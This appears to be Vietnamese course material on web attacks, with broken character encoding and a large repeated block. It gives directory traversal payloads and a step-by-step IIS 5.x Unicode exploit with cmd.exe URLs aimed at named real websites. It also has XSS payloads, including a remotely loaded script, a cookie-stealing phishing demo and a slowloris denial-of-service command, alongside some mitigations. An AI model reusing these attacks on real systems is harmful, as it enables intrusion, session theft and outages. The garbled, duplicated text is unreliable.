ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
